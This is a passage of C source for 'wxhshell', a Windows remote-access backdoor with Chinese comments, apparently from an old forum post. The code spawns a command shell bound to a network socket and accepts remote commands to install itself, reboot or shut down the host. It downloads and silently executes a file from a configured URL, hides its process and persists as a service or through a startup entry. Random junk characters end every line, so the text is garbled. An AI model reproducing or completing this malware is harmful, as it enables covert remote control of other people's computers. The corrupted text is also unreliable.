  =J'Q%qN<Zd  
  // 帮助 Hlpt zez  
  case '?': { :@-.whj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %.HLO.A  
    break; 5Sb-Bn  
  } ]ZNFrpq  
  // 安装 z:1t vG  
  case 'i': { zV(aw~CbZ  
    if(Install()) F_4Et  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E0+~c1P-  
    else U\M9sTqo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ES8(:5  
    break; \r [@A3O  
    } ]bYmM@  
  // 卸载 g1(5QWb  
  case 'r': { ):y^g:  
    if(Uninstall()) V/zmbo)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P!!O~P  
    else kfZ(:3W$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0|8cSE< i  
    break; D|^N9lDaQ  
    } [a?bv7Kz  
  // 显示 wxhshell 所在路径 m!=5Q S3Z  
  case 'p': { e>bARK<  
    char svExeFile[MAX_PATH]; ~ H/ZiBL@  
    strcpy(svExeFile,"\n\r"); p"j &s  
      strcat(svExeFile,ExeFile); (!YJ:,!so  
        send(wsh,svExeFile,strlen(svExeFile),0); $aN%[  
    break; aIh} j,  
    } *B9xL[}  
  // 重启 )<qL8#["U  
  case 'b': { [jrfh>v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gl[1K/,*  
    if(Boot(REBOOT)) XL'\$f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yB 'C9wEH  
    else { +wQ}ZP&  
    closesocket(wsh); l}&2A*c.  
    ExitThread(0); M0OIcMTv  
    } k4E9=y?  
    break; ,s2C)bb-  
    } Kf_xKW)^  
  // 关机 7PBE(d%m  
  case 'd': { \,r* -jr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0j 8`M"6  
    if(Boot(SHUTDOWN)) afzx?ekdF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?e,:x ]\L  
    else { Ge7B%p8  
    closesocket(wsh); W1Ye+vg/s  
    ExitThread(0); ,+I]\ZeO  
    } %s^1de  
    break; G;EJ\J6@Yw  
    } E&5S[n9{3  
  // 获取shell o wb+,Gk(  
  case 's': { ^7Z;=]8J  
    CmdShell(wsh); %b2Hm9r+  
    closesocket(wsh); e,lLHg  
    ExitThread(0); ]E'?#z.t  
    break; !nlr!+(fV  
  } xEeHQ7J  
  // 退出 7AWq3i{  
  case 'x': { PN:`SWP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .k +>T*c{  
    CloseIt(wsh); r adP%W-U  
    break; UBk:B  
    } gGx(mX._L?  
  // 离开 {J,4g:4G  
  case 'q': { t1yOAbI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )VqPaKZl  
    closesocket(wsh); DiTpjk ]c`  
    WSACleanup(); S\Le;,5Z  
    exit(1); l-S0Gn/'X  
    break; ~*<`PDO?  
        } 9Oo`4  
  } q/d?c Lgl  
  } yPs6_Qo!p  
>Gk<a  
  // 提示信息 po,U e>n/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %[M0TE=J  
} qywl G  
  } -Dy<B  
o4Cq  /K  
  return; WWH<s%C  
} R.F l5B  
^S?f"''y3  
// shell模块句柄 tE <?L  
int CmdShell(SOCKET sock) Ei\>gXTH1-  
{ l&:8 'k+%=  
STARTUPINFO si; c_?^:xs:d  
ZeroMemory(&si,sizeof(si)); @+Sr~:K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UUb0[oy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |5X59! JL  
PROCESS_INFORMATION ProcessInfo; xXa4t4gR  
char cmdline[]="cmd"; z;Fz3s7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _\Z'Yl  
  return 0; SJc~E$5<  
} !H{>c@i  
:]CL}n$*  
// 自身启动模式 Oh>hy Y)}  
int StartFromService(void) @)vQ>R\k<  
{ "@/pQoLy  
typedef struct \8s:I+[HH  
{ pV;0Hcy  
  DWORD ExitStatus; w-xigm>{Z  
  DWORD PebBaseAddress; >goHQ30:  
  DWORD AffinityMask; OLm@-I*  
  DWORD BasePriority; n;$u%2t2  
  ULONG UniqueProcessId; yWE\)]9  
  ULONG InheritedFromUniqueProcessId; D .LR-Z  
}   PROCESS_BASIC_INFORMATION; /!A"[Tyt  
kWy@wPqms  
PROCNTQSIP NtQueryInformationProcess; b-#lKW so  
D6+3f #k6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "5O>egt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a?8)47)  
v+`'%E  
  HANDLE             hProcess; R5(([C1  
  PROCESS_BASIC_INFORMATION pbi; }4H}*P>+  
WBkx!{\z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r]D U  
  if(NULL == hInst ) return 0; 75R#gQ]EV  
!MOsP<2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zUZET'Bm9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5>daWmD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T!>hPg  
+PI}$c-|`  
  if (!NtQueryInformationProcess) return 0; OVU)t]  
dv3u<XM~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VBF:MAA  
  if(!hProcess) return 0; G$&jP:2q  
Y~A I2HS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Az8ZA~Op=  
QV:> x#=V  
  CloseHandle(hProcess); SE@TY32T  
OdY9g2y#m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %dq%+yw{%m  
if(hProcess==NULL) return 0; F kf4R5Y?  
d|7LCW+HW  
HMODULE hMod; &FT`z"^  
char procName[255]; VP^Yf_  
unsigned long cbNeeded; Z f<T`'_d  
=>tkc/aa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b7I0R; Zj  
Ol+D"k~<C  
  CloseHandle(hProcess); ]?wz.  
hfyU}`]  
if(strstr(procName,"services")) return 1; // 以服务启动 $@71 w~y  
QRBx}!:NZ#  
  return 0; // 注册表启动 vt *  
} ~ss6yQ$  
g52)/HM  
// 主模块 OY:rcGc`t  
int StartWxhshell(LPSTR lpCmdLine) BG?>)]6  
{ W|2|v?v  
  SOCKET wsl; 7Re\*[)T  
BOOL val=TRUE; CMOyK^(e  
  int port=0; CM++:Y vJ  
  struct sockaddr_in door; Pmd[2/][  
xT*c##  
  if(wscfg.ws_autoins) Install(); w4\ 3*  
#{J~ km/  
port=atoi(lpCmdLine); N#"l82^H*  
~+Pe=~a[  
if(port<=0) port=wscfg.ws_port; eL(<p]  
GN! R<9  
  WSADATA data; ;DYS1vGo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y_Urzgm(  
F`x_W;\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g)r{LxT#+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z |~+0  
  door.sin_family = AF_INET; ~M} K]Li  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LPu *Lkx  
  door.sin_port = htons(port); g0U?`;n$  
6o3#<ap<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RO/(Ldh  
closesocket(wsl); #Pf<2S  
return 1; <4vCx  
} JJ_ Z{  
~S;-sxoO0l  
  if(listen(wsl,2) == INVALID_SOCKET) { Q>Z~={"  
closesocket(wsl); g H'hA'  
return 1; jI*@&3  
} 3x+=7Mg9  
  Wxhshell(wsl); 2sk7E'2(  
  WSACleanup(); ``:[Jr &  
NQ 6oyg@&  
return 0; TaHcvjhR  
LDHu10l  
} \ f+;X  
'r%(,=L  
// 以NT服务方式启动 ux(~+<k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5o>`7(t`  
{ rM A%By^L-  
DWORD   status = 0; C`kqsK   
  DWORD   specificError = 0xfffffff; ~//E'V-  
wLqj<ot  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J@_^]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _",(!(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L@6]~[JvP  
  serviceStatus.dwWin32ExitCode     = 0; KhB775  
  serviceStatus.dwServiceSpecificExitCode = 0; eUB!sR%  
  serviceStatus.dwCheckPoint       = 0; "49dsKIOH  
  serviceStatus.dwWaitHint       = 0; {%9@{Q'T.s  
vCJa%}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $o5i15Oy.  
  if (hServiceStatusHandle==0) return; l:UKU!  
0{bl^#$f  
status = GetLastError(); Er~KX3vF  
  if (status!=NO_ERROR) +ynhN\S$/  
{ wyB]!4yy,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eQ#i.%   
    serviceStatus.dwCheckPoint       = 0; %~Rg`+  
    serviceStatus.dwWaitHint       = 0; FP=- jf/  
    serviceStatus.dwWin32ExitCode     = status; Er j{_i?R?  
    serviceStatus.dwServiceSpecificExitCode = specificError; _&V,yp!|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F9K0  
    return; (P-^ PNz&  
  } 'hBnV xd&  
!JrKTB%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hZ e{Ri  
  serviceStatus.dwCheckPoint       = 0; 5yoi;$~}_0  
  serviceStatus.dwWaitHint       = 0; M NwY   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j;_  
} Ul]7IUzsu  
`j)56bR  
// 处理NT服务事件,比如:启动、停止 W5`pQdk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CQ/+- -o  
{ l_:P |  
switch(fdwControl) Nr>UZlU8  
{ L{F]uz_[x  
case SERVICE_CONTROL_STOP: jwE=  
  serviceStatus.dwWin32ExitCode = 0; <Y}m/-sD5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zE$HHY2ovi  
  serviceStatus.dwCheckPoint   = 0; !P EKMDh  
  serviceStatus.dwWaitHint     = 0; FauASu,A  
  { s a o&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h>GbJ/^  
  } :AztHf?X  
  return; ~<VxtcEBz  
case SERVICE_CONTROL_PAUSE: i]k)wr(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /}U)|6- B  
  break; eQ/w Mr  
case SERVICE_CONTROL_CONTINUE: T&pCLvkz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oydP}X  
  break; =&UE67eK,  
case SERVICE_CONTROL_INTERROGATE: JnK<:]LcK  
  break; ^"?a)KC  
}; Ah7"qv'L\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )?#K0o[<  
} @hg[v`~  
N^[ F+y  
// 标准应用程序主函数 mm: TR?^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]ASw%Lw)  
{ zMP6hn  
q5e(~@(z<`  
// 获取操作系统版本 Q34u>VkdQI  
OsIsNt=GetOsVer(); V>)/z|[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V9"R8*@-  
eUN aq&M  
  // 从命令行安装 cK]n"6N[  
  if(strpbrk(lpCmdLine,"iI")) Install(); >KrI}>!9r  
7MrHu2rZ=  
  // 下载执行文件 #?S"y:  
if(wscfg.ws_downexe) { mq4Zy3H   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4_QfM}Fyp  
  WinExec(wscfg.ws_filenam,SW_HIDE); t.;._'  
} =T2SJ)  
aanS^t0  
if(!OsIsNt) { @B >D>B  
// 如果时win9x,隐藏进程并且设置为注册表启动 7_s+7x =  
HideProc(); B(s^(__]  
StartWxhshell(lpCmdLine); 8TB|Y  
} X+A@//,7  
else 8h=m()Eu  
  if(StartFromService()) oZY|o0/9  
  // 以服务方式启动 Ss 5@n  
  StartServiceCtrlDispatcher(DispatchTable); = >TU  
else \[[xyd  
  // 普通方式启动 0g: q%P0  
  StartWxhshell(lpCmdLine); ZJ2 MbV.6  
jnJ*e-AW  
return 0; (N&?Z]|yr  
}
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只看该作者 1 发表于: 2006-10-10
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